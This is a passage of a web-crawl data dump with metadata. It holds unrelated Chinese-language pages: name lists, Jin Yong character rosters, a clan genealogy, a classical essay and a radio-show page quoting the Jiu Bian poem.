田汪安 田玥仪 田樽童 田瑞新 田家萧 田佳灵 田珍琴 田若梅 田绮文 田一怡 田佳芳 田秀妃 田静鸿 田风芸 田祈文 田译茸 田金昕 田雨新 田华琪 田瀚嫣 田馨鑫 田汇滟 田素敏 田艾蔚 田董男 田潞甜 田艾言 田卉湖 田源菲 田欢舒。","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.bafuwa.com\/k\/39896.html","date":"2022-05-20T13:13:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662532032.9\/warc\/CC-MAIN-20220520124557-20220520154557-00170.warc.gz","language":"lzh","language_score":0.7396118641,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7396118640899658, \"cmn_Hani_score\": 0.1802522987127304, \"nan_Hani_score\": 0.04803949594497681, \"jpn_Jpan_score\": 0.023897962644696236}","num_words":216,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.805,"perplexity_score":500.0,"cluster_detection":1} +{"text":"急需金庸小說人物大全,誰有?\n《飛狐外傳》人物(共有112人) 馬行空 馬春花 徐錚 商寶震 何思豪 閻基 田歸農 苗人鳳 南仁通 補鍋匠 腳夫 車夫 蔣調侯 店伴 鐘兆文 鐘兆英 鐘兆能 南蘭 苗若蘭 商老太 平四 胡斐 張總管 王劍英 王劍杰 陳禹 古若般 殷仲翔 ??蛋?趙半山 孫剛峰 呂小妹 鐘四嫂 鐘小二 鐘阿四 胖商人 瘦商人 鳳南天 鳳七 俞朝奉 蛇皮張 鄺寶官 鳳一鳴 大漢 孫伏虎 尉遲連 楊賓 中年武師 同桌后生 袁紫衣 劉鶴真 崔百勝 曹猛 藍秦 易吉 王仲萍 張飛雄 程靈素 慕容景岳 姜鐵山 薛鵲 王鐵匠 姜小鐵 田青文 張管家 聶鉞 上官 褚轟 汪鐵鶚 周鐵鶴 曾鐵鷗 秦耐之 姬曉峰 張九 任通武 相國夫人 蔡威 湯沛 無青子 海蘭弼 大智禪師 黃希節 歐陽公政 西靈道人 文醉翁 周隆 郭玉堂 齊伯濤 陳高波 安提督 宗雄 桑飛虹 倪不大 倪不小 常赫志 常伯志 上官鐵生 哈赤大師 心硯 石雙英 劉之余 童懷道 李廷豹 石萬嗔 木文察 陳家洛 無塵道長 德布 李沅芷 余魚同 司徒雷 謝不當 《雪山飛狐》人物(共有25人) 于管家 田青文 左書僮 右書僮 平阿四 阮士忠 劉元鶴 杜希孟 周云陽 鄭三娘 寶樹 苗若蘭 苗人鳳 范幫主 殷吉 胡一刀 胡夫人 胡斐 陶子安 陶百歲 曹云奇 琴兒 熊元獻 靜智大師 賽總管 《連誠訣》人物(共有37人) 卜垣 丁典 萬震山 馬大鳴 萬圭 水福 水岱 水笙 孫均 馮坦 平工頭 劉乘風 血刀老祖 言達平 汪嘯風 張姓老者 吳坎 沈城 花鐵干 陸天抒 狄云 寶象和尚 周圻 空心菜 魚販頭子 桃紅 耿天霜 高管家 教書先生 鐵匠 凌退思 凌霜華 菊友 梅念笙 戚芳 戚長發 魯坤 《天龍八部》人物(共有169人) 刀白鳳 丁春秋 馬夫人 馬五德 小翠 于光豪 巴天石 不平道人 鄧百川 風波惡 甘寶寶 公冶乾 木婉清 少林老僧 太皇太后 天狼子 天山童姥 王語嫣 烏老大 無崖子 云島主 云中鶴 止清 白世鏡 包不同 本參 本觀 本相 本因 出塵子 馮阿三 古篤誠 過彥之 蘭劍 平婆婆 石清露 石嫂 司空玄 司馬林 玄慈 玄寂 玄苦 玄難 玄生 玄痛 葉二娘 左子穆 華赫艮 李春來 李傀儡 李秋水 劉竹莊 樸者和尚 祁六三 喬峰 全冠清 阮星竹 西夏宮女 許卓誠 朱丹臣 竹劍 阿碧 阿洪 阿勝 阿朱 阿紫 波羅星 陳孤雁 何望海 鳩摩智 來福兒 孟師叔 努兒海 宋長老 蘇星河 蘇轍 完顏阿古打 吳長風 吳光勝 吳領軍 辛雙清 嚴媽媽 余婆婆 岳老三 張全祥 單伯山 單季山 單叔山 單小山 單正 段延慶 段譽 段正淳 段正明 范禹 范百齡 范驊 茍讀 和里布 耶律洪基 耶律莫哥 耶律涅魯古 耶律重元 易大彪 郁光標 卓不凡 宗贊王子 哈大霸 姜師叔 枯榮長老 夢姑 神山上人 神音 獅鼻子 室里 項長老 姚伯當 幽草 趙錢孫 趙洵 哲羅星 鐘靈 鐘萬仇 高升泰 龔光杰 賈老者 康廣陵 秦紅棉 容子矩 桑土公 唐光雄 奚長老 徐長老 諸保昆 崔百泉 崔綠華 符敏儀 黃眉和尚 菊劍 聾啞婆婆 梅劍 蕭遠山 虛竹 游驥 游駒 游坦之 程青霜 傅思歸 葛光佩 緣根 智光大師 鮑千靈 褚萬里 瑞婆婆 端木元 赫連鐵樹 黎夫人 慕容博 慕容復 譚公 譚婆 譚青 摘星子 慧方 慧觀 慧凈 慧真 穆貴妃 薛慕華 《射雕英雄傳》人物(共有97人) 一燈大師 馬青雄 馬鈺 小沙彌 木華黎 丘處機 沈青剛 書記 書生 天竺僧人 王處一 王罕 尹志平 包惜弱 馮衡 術赤 孫不二 札木合 華箏 李萍 劉玄處 劉瑛姑 呂文德 農夫 喬寨主 曲三 曲傻姑 全金發 湯祖德 朱聰 陳玄風 赤老溫 靈智上人 陸乘風 陸冠英 沙通天 完顏洪烈 完顏洪熙 吳青烈 楊康 楊鐵心 余兆興 張阿生 張十五 忽都虎 歐陽峰 歐陽克 拖雷 者勒米 周伯通 段天德 郭靖 郭嘯天 郝大通 洪七公 侯通海 姜文 柯鎮惡 枯木 南希仁 胖婦人 胖丐 胖子 啞梢公 都史 錢青健 桑昆 鐵木真 蓋運聰 黃蓉 黃藥師 梁長老 梁子翁 梅超風 漁人 博爾忽 博爾術 程瑤迦 韓寶駒 韓小瑩 焦木和尚 魯有腳 穆念慈 彭長老 彭連虎 童子 窩闊臺 簡長老 簡管家 裘千仞 裘千丈 瘦丐 察合臺 酸儒文人 譚處端 黎生 樵子 《白馬嘯西風》人物(共有17人) 李三 霍元龍 史仲俊 陳達海 上官虹 李文秀 丁同 馬家駿 蘇普 蘇魯克 車爾庫 阿曼 桑斯 瓦爾拉齊 云強盜 全強盜 寧強盜 《鹿鼎記》人物(共有183人) 九難 衛周祚 馬喇 馬佑 馬寶 馬博仁 于八 馬超興 小桂子 小玄子(玄燁) 馬齊 心溪 韋小寶 韋春花 毛文珠 巴顏法師 巴泰 方怡 風際中 鄧炳春 云素梅 無根道人 王潭 方大洪 五符 元義方 巴郎星 王武通 王進寶 王琪 雙兒 史松 馮難敵 鄺天雄 平威 白寒松 白寒楓 盧一峰 歸辛樹 玄真道人 司徒鶴 司徒伯雷 對喀納 馮錫范 孫思克 歸鐘 歸二娘 玉林 湯若望 李自成 老吳 守備 米思翰 江百勝 齊元凱 華伯斯基 齊洛諾夫 西奧圖三世 劉一舟 沐劍聲 莊夫人 許雪亭 多隆 行癡 祁清彪 關安基 呂留良 陳珂 李西華 呂葆中 呂毅中 行顛 莊廷龍 莊允城 陸高軒 杜立德 吳之榮 蘇菲亞 陳圓圓 罕貼摩 吳大鵬 沐劍屏 吳三桂 阿濟赤 阿爾尼 張淡月 蘇荃 蘇岡 吳六奇 李式開 李力世 陳近南 吳應熊 楊溢之 佟國綱 吳立身 張康年 張勇 張媽 吳寶宇 何惕守 勞太監 明珠 皇甫閣 柳燕 圖海道 杰書 郎師傅 圖爾布青 凈清 凈濟 林興珠 林永超 柳大洪 呼巴音 昌齊 鄭克爽 趙齊賢 建寧公主 茅十八 神照上人 洪朝 姚春 施瑯 費要多羅 胡逸之 南懷仁 鐘志靈 洪安通 胡德第 姚必達 趙良棟 查繼左 胖頭陀 郝太監 徐天川 陶紅英 索額圖 教士 陶師傅 高里津 敖彪 高顏超 錢老本 海大富 殷錦 賈老六 筆貼式 顧炎武 夏國相 桑結 晦聰禪師 章老三 黃甫 黃金魁 崔瞎子 黃宗羲 菊芳 彭參將 葛爾丹 程維藩 溫有方 溫有道 舒化龍 曾柔 富春 葛通 路副將 雷一嘯 瘦頭陀 蕊初 瑞棟 蔡德忠 察爾珠 潘先生 澄光 澄通 澄觀 澄心 澄識 樊綱 慕天顏 鰲拜 《笑傲江湖》人物(共有160人) 卜沉 丁堅 丁勉 上官云 萬大平 于人豪 于嫂 不戒和尚 長青子 仇松年 丹青生 鄧八公 方人智 方生 方證 風清揚 計無施 木高峰 天門道人 天松道人 天乙道人 王伯奮 王誠 王二叔 王夫人 王家駒 王家駿 王元霸 王仲強 白二 白熊 叢不棄 東方不敗 樂厚 令狐沖 寧中則 平夫人 平一指 申人俊 史鏢頭 史登達 司馬大 田伯光 儀和 儀琳 儀清 玉璣子 玉靈道人 玉磬子 玉音子 玉鐘子 左冷禪 成不憂 成高道人 沖虛道長 吉人通 老不死 老頭子 劉菁 劉芹 劉正風 米為義 農婦 齊堂主 曲非煙 曲洋 任我行 英顎 西寶 向大年 向問天 陳七 陳歪嘴 遲百誠 狄鏢頭 狄修 定靜師太 杜長老 何三七 季鏢頭 勞德諾 陸伯 陸大有 任盈盈 沙天江 禿筆翁 吳柏英 吳天德 辛國梁 嚴三星 楊蓮亭 余滄海 余人彥 岳靈珊 張夫人 張金鏊 定逸 建除 林平之 林遠圖 林震南 羅人杰 易國梓 易師爺 易堂主 英白羅 英長老 岳不群 鄭鏢頭 鄭萼 周孤桐 費彬 封不平 洪人雄 侯人英 覺月 施戴子 施令威 聞先生 啞婆婆 鐘鎮 祝鏢頭 祖千秋 高克新 高明根 賈布 賈人達 莫大 秦娟 秦偉幫 桑三娘 桃干仙 桃根仙 桃花仙 桃實仙 桃葉仙 桃枝仙 陶鈞 夏老拳師 崔鏢頭 黃伯流 黃國柏 黃鐘公 假東方不敗 梁發 綠竹翁 麻衣漢子 清虛道人 游迅 葛長老 黑白子 黑熊 魯連榮 舒奇 童百熊 鮑大楚 解風 藍鳳凰 譚迪人 震山子 《書劍恩仇錄》人物(共有120人) 大癡 衛春華 馬善均 于萬亭 大癲 馬敬俠 大苦 馬真 萬慶瀾 馬大挺 上官毅山 文泰來 心硯 天鏡 無塵道人 木卓倫 元傷 元痛 元悲 方有德 王維揚 王道 貝人龍 尹章垓 天虹禪師 馮輝 石雙英 玉如意 平旺先 孫大善 龍駿 白振 孫老三 孫克通 安健剛 成璜 兆惠 關明梅 李可秀 朱祖蔭 李沅芷 吳國棟 遲玄 沈德潛 楊成協 余魚同 陳家洛 張安官 納斯爾丁·阿凡提 瑪米爾 陸菲青 孟健雄 陳正德 宋善朋 張召重 言伯乾 汪浩天 阿凡提妻 阿里 宋天保 和珅 武銘 凱別興 鄭板橋 忽倫大虎 忽倫二虎 忽倫三虎 忽倫四虎 周阿三 范中恩 周綺 和爾大 羅信 周仲英 呼音克 周大奶奶 周英杰 趙半山 哈合臺 皇太后 駱冰 胡老爺 唐六爺 閻世章 閻世魁 徐天宏 袁枚 顧金標 桑拉巴 袁士霄 教長 錢正倫 梅良鳴 曹司朋 章進 曹能 常伯志 常赫志 乾隆皇帝 韓春霖 蔣天壽 瑞芳 晴畫 焦文期 蔣四根 蔣士銓 褚圓 曾圖南 喀絲麗 童兆和 韓文沖 覃天丞 彭三春 騰一雷 瑞大林 ??蛋?霍青桐 德鄂 霍阿伊 戴永明 《神雕俠侶》人物(共有126人) 一燈大師 子聰 丁大全 人廚子 九死生 馬鈺 小棒頭 大頭鬼 馬光佐 小王將軍 小龍女 尹志平 丘處機 王處一 王十三 公孫止 王志坦 王惟忠 無常鬼 尹克西 天竺僧 少婦 公孫綠萼 孫婆婆 孫不二 皮清云 申志凡 馮默風 討債鬼 史伯威 史仲猛 史叔剛 史季強 史孟龍 圣因師太 尼摩星 李莫愁 達爾巴 劉處玄 朱子柳 曲傻姑 呂文德 祁志誠 李志常 劉瑛姑 吊死鬼 百草仙 陸鼎立 陸二娘 阿根 張志光 完顏萍 陸冠英 宋德方 陳大方 宋五 沙通天 靈智上人 張君寶 張一氓 陳老丐 張二叔 陸無雙 楊過 武三通 武敦儒 武修文 武三娘 林朝英 耶律晉 耶律楚材 耶律燕 忽必烈 喪門鬼 狗頭陀 青靈子 歐陽峰 耶律齊 金輪法王 周伯通 洪凌波 點蒼漁隱 柔兒 郭破虜 侯通海 覺遠大師 俏鬼 柯鎮惡 趙志敬 洪七公 郭靖 郭芙 郭襄 姬清玄 笑臉鬼 鹿清篤 崔志方 鄂爾多 薩多 黃藥師 黃蓉 程遙迦 魯有腳 彭連虎 韓無垢 童大海 韓老丐 彭長老 瘦丐 程瑛 雷猛 裘千尺 蒙哥 煞神鬼 催命鬼 藍天和 裘千仞 赫大通 瀟湘子 霍都 樊一翁 藏邊大丑 藏邊二丑 藏邊三丑 藏邊四丑 藏邊五丑 《俠客行》人物(共有67人) 丁不三 丁不四 丁珰 大悲老人 貝海石 木島主 王掌柜 元澄道人 王萬仞 王老六 尤得勝 天虛 風良 丑臉漢子 白自在 龍島主 馮振武 孫萬年 司徒橫 漢子 石清 白萬劍 石中玉 白阿繡 史小翠 石破天 李四 李大元 安奉日 米橫野 李萬山 老李 沖虛 呂正平 齊自勉 成自學 西門觀止 張三 吳道通 花萬紫 邱山風 陳沖之 汪萬翼 楊光 閔柔 周牧 侍劍 呼延萬善 范一飛 鄭光芝 封萬里 柯萬鈞 聞萬夫 胡大哥 耿萬鐘 展飛 高三娘子 梁自進 梅文馨 梅芳姑 黃面道人 溫仁厚 謝煙客 褚萬春 照虛 解文豹 廖自礪 《倚天屠龍記》人物(共有184人) 卜泰 丁敏尹 馬法通 衛天望 衛四娘 小翠 小虹 小玲 小鳳 小昭 衛璧 王難姑 元廣波 鄧愈 方天勞 云鶴 韋一笑 天鳴方丈 無相禪師 無色 王八衰 方東白 五姑 貝錦儀 烏旺阿普 王保保 太虛子 史鏢頭 滅絕師太 史火龍 史紅石 平等寶樹王 葉長青 孫三毀 白龜壽 司徒千鐘 執法長老 傳功長老 湯和 朱元璋 祁天彪 紀曉芙 朱長齡 西華子 劉敖 陽頂天 齊心寶樹王 莊錚 李四摧 過三拳 李天恒 剛相 朱九真 喬福 蘇夢清 陳友諒 季長老 花云 吳良 吳禎 張無忌 麥鯨 何足道 冷謙 杜百當 楊逍 辛然 妙風使 邵鶴 邵燕 吳勁草 壽南山 吳六破 張中 何太沖 孟正鴻 靈虛 宋青書 張三豐 阿二 阿三 楊不悔 麥少幫主 楊姐姐 宋遠橋 張松溪 張翠山 蘇習之 周芷若 鄭長老 宗維俠 范遙 撥速臺 周顛 空聞 空智 空性 空見 空性 周五輸 鄭七滅 明月 武青嬰 金花婆婆 武烈 易三娘 說不得 胡青牛 泉建男 郝密 聞蒼松 哈總管 覺遠 趙敏 趙一傷 封壇主 賀老三 歐陽牧之 郭襄 宮九佳 姚清泉 胡青羊 俞連舟 俞岱巖 都大錦 徐達 唐洋 高老者 圓真(成昆) 唐文亮 高則成 流云使 俱明寶樹王 夏胄 秦老五 圓音 圓業 圓心 錢二敗 殷野王 殷天正 殷無祿 殷無福 殷無壽 殷離 班淑嫻 殷素素 殷梨亭 莫聲谷 常敬之 常遇春 常勝寶樹王 渡劫 渡難 渡厄 常金鵬 清風 鹿杖客 掌缽龍頭 掌棒龍頭 彭瑩玉 謝遜 蔣濤 輝月使 程壇主 韓千葉 韓林兒 矮老者 簡捷 詹春 靜虛師太 靜玄師太 靜空 靜照 靜迦 靜慧 察罕特穆爾 鮮于通 摩訶巴思 德成 潘天耕 顏恒 鶴筆翁 薛公遠 《碧血劍》人物(共有108人) 丁游 小菊 萬里風 水鑒 義生 馬公子 玉真子 水云道人 王師兄 木桑道長 歸辛樹 歸二娘 孫仲壽 田見秀 龍德鄰 孫仲尹 馮同知 寧完我 石駿 史秉文 史秉光 馮難敵 馮不摧 馮不破 白臉人 安大娘 劉芳亮 呂七 楊景亭 劉培生 安劍清 多爾袞 劉宗敏 紅娘子 朱安國 老王 安小慧 齊云 張朝唐 張信 張康 楊鵬舉 張春九 沙老大 閔子華 吳平 沙廣天 孟伯飛 張若谷 孟鑄 孟錚 李巖 單鐵生 陳圓圓 宋獻策 應松 岑其斯 何紅藥 李自成 阿九 何鐵手 鄭起云 范文程 羅大千 羅立如 彼得 若克琳 榮彩 洞玄 侯飛文 皇太極 祖大壽 倪浩 啞巴 胡桂南 胡老三 洪勝海 秦棟 錢通四 高師弟 袁承志 夏雪宜 崔秋山 黃真 崔希敏 黃二毛子 曹化淳 黃須人 梅劍和 溫正 溫南揚 焦公禮 程青竹 褚紅柏 董開山 溫方施 溫方山 溫方悟 溫方達 溫方義 焦宛兒 溫青 溫儀 鮑承先 譚文理 黎剛 潘秀達 穆人清 《鴛鴦刀》人物(共有15人) 書僮 任飛燕 劉於義 楊夫人 花劍影 林玉龍 周威信 卓天雄 逍遙子 袁夫人 袁冠南 常長風 蓋一鳴 蕭半和 蕭中慧(楊中慧)自\n我需要日本陰陽師:安倍晴明的詳細資料,一定采納。\n【大鏡、元亨釋書?!块L德中,有術士,告左大臣藤原道長曰:「某日家當有怪?!怪疗诘篱L杜門謝客,唯招鎮守...","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.kpp12.com\/voddetail\/MP2X5.html","date":"2022-07-06T20:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104676086.90\/warc\/CC-MAIN-20220706182237-20220706212237-00536.warc.gz","language":"lzh","language_score":0.6634379029,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6634379029273987, \"nan_Hani_score\": 0.24753503501415253, \"cmn_Hani_score\": 0.07977437227964401}","num_words":1435,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.707,"perplexity_score":500.0,"cluster_detection":1} +{"text":"建立家谱,必须先到安徽胡氏宗亲网首页注册会员 家谱首页 家谱列表 世系列表 华林胡氏族谱—世系列表 代 门 全 A3 A4 树 满公 犀候 突公 圉戎 宁公 孝公 灵公 说公 燮公 圉公 免公 御寇 朔公 平国公 午公 弱公 偃师 吴公 柳公 越公 衍公 玙公 澄公 贵公 鳞公 涣公 宏公 武公 怀公 安公 益公 鉴公 源公 景公 昭公 建公 涵公 文公 敏公 崇公 惠公 简公 元公 刚公 聪公 崇禧 贤公 晖公 广公 平公 珏公 年公 英公 遵公 奋公 宪公 孔彪 佳华 哲公 明公 德基 怀泞 仲任 藩公 镇公 谐之 山宾 僧佑 时颖 敬之 湛然 兴公 宣公 泞公 秉公 原烈 晟公 元曦 杰公 珦公 钲孺 钊公 克礼 明德 应民 舜臣 清献 公 浏览器不支持嵌入式框架,或被配置为不显示嵌入式框架。","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/ahhszqw.com\/b\/jiapu\/sxlist.asp?jpid=10","date":"2022-12-03T09:45:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00611.warc.gz","language":"lzh","language_score":0.8702619076,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.8702619075775146, \"nan_Hani_score\": 0.1116643100976944, \"cmn_Hani_score\": 0.017212416976690292}","num_words":100,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.89,"perplexity_score":500.0,"cluster_detection":1} +{"text":"道莫大於無爲,行莫大於謹敬。何以言之?昔舜治天下也,彈五絃之琴,歌南風之詩,寂若無治國之意,漠若無憂天下之心,然而天下大治。周公製作禮樂,郊天地,望山川,師旅不設,刑格法懸,而四海之內,奉供來臻,越裳之君,重譯來朝。故無爲者乃有爲也。\n秦始皇設刑罰,爲車裂之誅,以斂奸邪,築長城於戎境,以備胡、越,徵大吞小,威震天下,將帥橫行,以服外國,蒙恬討亂於外,李斯治法於內,事逾煩天下逾亂,法逾滋而天下逾熾,兵馬益設而敵人逾多。秦非不欲治也,然失之者,乃舉措太衆、刑罰太極故也。\n是以君子尚寬舒以苞其身,行身中和以致疏遠;民畏其威而從其化,懷其德而歸其境,美其治而不敢違其政。民不罰而畏,不賞而勸,漸漬於道德,而被服於中和之所致也。\n夫法令所以誅暴也,故曾、閔之孝,夷、齊之廉,此寧畏法教而爲之者哉?故堯、舜之民,可比屋而封,桀、紂之民,可比屋而誅,何者?化使其然也。故近河之地溼,而近山之上燥,以類相及也。故山川出?雨,丘阜生口氣,四瀆東流,百川無不從者,小者從大,少者從多。\n夫王者之都,南面之君,乃百姓之所取法則者也,舉措動作,不可以失法度。昔者,周襄王不能事後母,出居於鄭,而下多叛其親。秦始皇驕奢靡麗,好作高臺榭,廣宮室,則天下豪富制屋宅者,莫不仿之,設房闥,備廄庫,繕雕琢刻畫之好,博玄黃琦瑋之色,以亂制度。齊桓公好婦人之色,妻姑姊妹,而國中多淫於骨肉。楚平王奢侈縱恣,不能制下,檢民以德,增駕百馬而行,欲令天下人饒財富利,明不可及,於是楚國逾奢,君臣無別。故上之化下,猶風之靡草也。王者尚武於朝,則農夫繕甲兵於田。故君子之御下也,民奢應之以儉,驕淫者統之以理;未有上仁而下賊,讓行而爭路者也。故孔子曰:\"移風易俗。\"豈家令人視之哉?亦取之於身而已矣。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.kepub.net\/book\/52126\/10004","date":"2023-12-05T15:45:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00716.warc.gz","language":"lzh","language_score":0.4368563294,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.43685632944107056, \"cmn_Hani_score\": 0.41912615299224854, \"nan_Hani_score\": 0.07637879997491837, \"wuu_Hani_score\": 0.0439424030482769, \"yue_Hani_score\": 0.01405377872288227}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.495,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21:15~23:00\n百珊Fun音樂\n2023\/10\/19\n00:49:29\n★★★歡迎點此寫電子小紙條給主持人,分享您對節目的感想。\nPodcast平台收聽 :\n小人毀國之後,又會遁世隱藏並粉飾自己。以致世人難以分辨何人才是真小人。宋玉傳說為屈原弟子,他身處的應該約在楚頃襄王的時代,當時楚國政局更加晦暗更顯危殆,也難怪他會有此慨歎。接下來宋玉又說,若是不能任用賢人,就算有重兵厚甲,國家也是無法抵擋外侮的。楚國當時面對秦國的威脅,他的感嘆良有以也。\n《九辯 九》\n何氾濫之浮雲兮,猋壅蔽此明月,忠昭昭而原見兮,然霠曀而莫達。願皓日之顯行兮,雲蒙蒙而蔽之。\n竊不自聊而願忠兮,或黕點而汙之,堯舜之抗行兮,瞭冥冥而薄天。何險巇之嫉妒兮,被以不慈之偽名。彼日月之照明兮,尚黯黮而有瑕。何況一國之事兮,亦多端而膠加。\n被荷裯之晏晏兮,然潢洋而不可帶。既驕美而伐武兮,負左右之耿介。憎慍惀之修美兮,好夫人之慷慨。眾踥蹀而日進兮,美超遠而逾邁,農夫輟耕而容與兮,恐田野之蕪穢,事緜緜而多私兮,竊悼後之危敗,世雷同而炫曜兮,何毀譽之昧昧,今修飾而窺鏡兮,後尚可以竄藏。願寄言夫流星兮,羌儵忽而難當。卒壅蔽此浮雲兮,下暗漠而無光。\n(以下原本同為第九章,後世學者分列為第十)\n堯舜皆有所舉任兮,故高枕而自適,諒無怨於天下兮,心焉取此怵惕。乘騏驥之瀏瀏兮,馭安用夫強策。諒城郭之不足恃兮,雖重介之何益?邅翼翼而無終兮,忳惛惛而愁約。生天地之若過兮,功不成而無効。願沈滯而不見兮,尚欲布名乎天下。然潢洋而不遇兮,直怐愗而自苦。莽洋洋而無極兮,忽翱翔之焉薄?國有驥而不知椉兮,焉皇皇而更索。寧戚謳於車下兮,桓公聞而知之。無伯樂之善相兮,今誰使乎譽之。罔流涕以聊慮兮,惟著意而得之。紛純純之願忠兮,妬被離而鄣之。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.ic975.com\/aod\/%E8%BE%9B%E6%84%8F%E9%9B%B2%E8%AA%AA%E8%B3%A6\/%E9%81%B8%E8%B3%A2%E8%88%87%E8%83%BD%EF%BC%8C%E5%90%9B%E7%8E%8B%E6%96%B9%E8%83%BD%E9%AB%98%E6%9E%95%E7%84%A1%E6%86%82%E3%80%90%E4%B9%9D%E8%BE%AF6%E3%80%91\/","date":"2024-04-22T13:26:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818293.64\/warc\/CC-MAIN-20240422113340-20240422143340-00886.warc.gz","language":"lzh","language_score":0.5122917295,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5122917294502258, \"cmn_Hani_score\": 0.36986884474754333, \"nan_Hani_score\": 0.07750144600868225, \"yue_Hani_score\": 0.017428504303097725}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.682,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓公孫的好聽的女孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓公孫的女寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓公孫的好聽的女孩名字!\n姓公孫的好聽的女孩名字\n公孫琳姿 公孫佩瑤 公孫媛茹 公孫金媛 公孫小茹 公孫本莉 公孫欣媛 公孫雯妍 公孫會英 公孫媛媛 公孫有梅 公孫學琳 公孫怡昀 公孫鑫倩 公孫圓琴 公孫燕春 公孫超冉 公孫鈺婷 公孫麗蓉 公孫美燕 公孫子嬋 公孫大芬 公孫浩瑩 公孫淘萍 公孫文文 公孫舒婷 公孫槿蓉 公孫紅紅 公孫立燕 公孫穎霞 公孫怡蕓 公孫蘇怡 公孫昊潔 公孫雪紅 公孫歆秀 公孫萌媛 公孫書玉 公孫筱婷 公孫婧辰 公孫靜怡 公孫永梅 公孫瑞穎 公孫園媛 公孫國芬 公孫段燕 公孫大萍 公孫凱潔 公孫雪琴 公孫玉梅 公孫莎莉 公孫柔文 公孫曼婭 公孫惠芬 公孫增麗 公孫健瑛 公孫悅琴 公孫龔芬 公孫慧玲 公孫孝文 公孫榮霞 公孫瑤 公孫琪雪 公孫琳熙 公孫席瑤 公孫銀霞 公孫怡倩 公孫怡君 公孫雅芳 公孫雨娟 公孫志娜 公孫沛婷 公孫香玲 公孫桂萍 公孫梓媛 公孫柔雪 公孫瑛瑛 公孫婭杉 公孫敏芳 公孫嘉雪 公孫媛惜 公孫子娟 公孫亞麗 公孫茹語 公孫麗麗 公孫冰妍 公孫曉英 公孫喜英 公孫松玲 公孫模怡 公孫瓊瑤 公孫莉瓊 公孫紅梅 公孫渲燕 公孫清玲 公孫妍暢 公孫東紅 公孫芳潔 公孫禹婧 公孫舒婷 公孫城琳 公孫婧文 公孫安娜 公孫萁琳 公孫寧媛 公孫子玉 公孫舒穎 公孫冬媛 公孫皓玉 公孫克瑤 公孫溢文 公孫承琳 公孫季婷 公孫汶婷 公孫赫花 公孫遠紅 公孫怡樂 公孫明婧 公孫怡航 公孫芝秀 公孫優美 公孫瑩蕾 公孫曉婷 公孫璐婷 公孫烷茹 公孫靜萍 公孫共梅 公孫紫玉 公孫嬋婧 》》還是沒有找到滿意的名字?不妨問問大師。\n公孫天紅 公孫悅璐 公孫怡悅 公孫媛雁 公孫銀雪 公孫淑麗 公孫樂瑤 公孫秀媛 公孫浩文 公孫贊芳 公孫妍滋 公孫婧嫻 公孫京悅 公孫嬌艷 公孫德燕 公孫蓮娥 公孫芳妍 公孫荔萍 公孫春燕 公孫玲蕊 公孫復文 公孫紫茹 公孫曉莉 公孫婧婷 公孫婭嘉 公孫凱琳 公孫明媛 公孫琳姍 公孫黎霞 公孫維玲 公孫柔倩 公孫成英 公孫雨婷 公孫兵燕 公孫童瑤 公孫令瑤 公孫西婷 公孫瀟冉 公孫卜文 公孫秀欣 公孫藝婧 公孫希瑤 公孫媛 公孫江琳 公孫春艷 公孫培瓊 公孫建瓊 公孫馨琳 公孫凌玉 公孫雨嫣 公孫秀 公孫明娟 公孫子嫣 公孫曉穎 公孫翌蓉 公孫馨怡 公孫勇潔 公孫榮妍 公孫繼紅 公孫安悅 公孫佰玲 公孫婧 公孫嘉穎 公孫鋒霞 公孫雲倩 公孫呈玉 公孫忻秀 公孫芳芳 公孫肖玉 公孫路艷 公孫雅琳 公孫自英 公孫菲婭 公孫銀梅 公孫碧瑤 公孫寒文 公孫業紅 公孫孝萍 公孫昭茹 公孫爾文 公孫思婧 公孫子穎 公孫文文 公孫茹心 公孫學蓉 公孫怡鑫 公孫喜娟 公孫涵瑤 公孫水琴 公孫苔怡 公孫燕輝 公孫睿潔 公孫蘭萍 公孫燦萍 公孫隨英 公孫邐芳 公孫愛琴 公孫瀚芬 公孫佳瑤 公孫愛霞 公孫雨嫣 公孫婷羽 公孫燕玲 公孫玫玲 公孫麗瓊 公孫湘娜 公孫悅蕾 公孫怡湘 公孫詩梅 公孫玉娟 公孫雪芳 公孫霖萍 公孫上娥 公孫新妹 公孫雨文 公孫龍芳 公孫秋紅 公孫東英 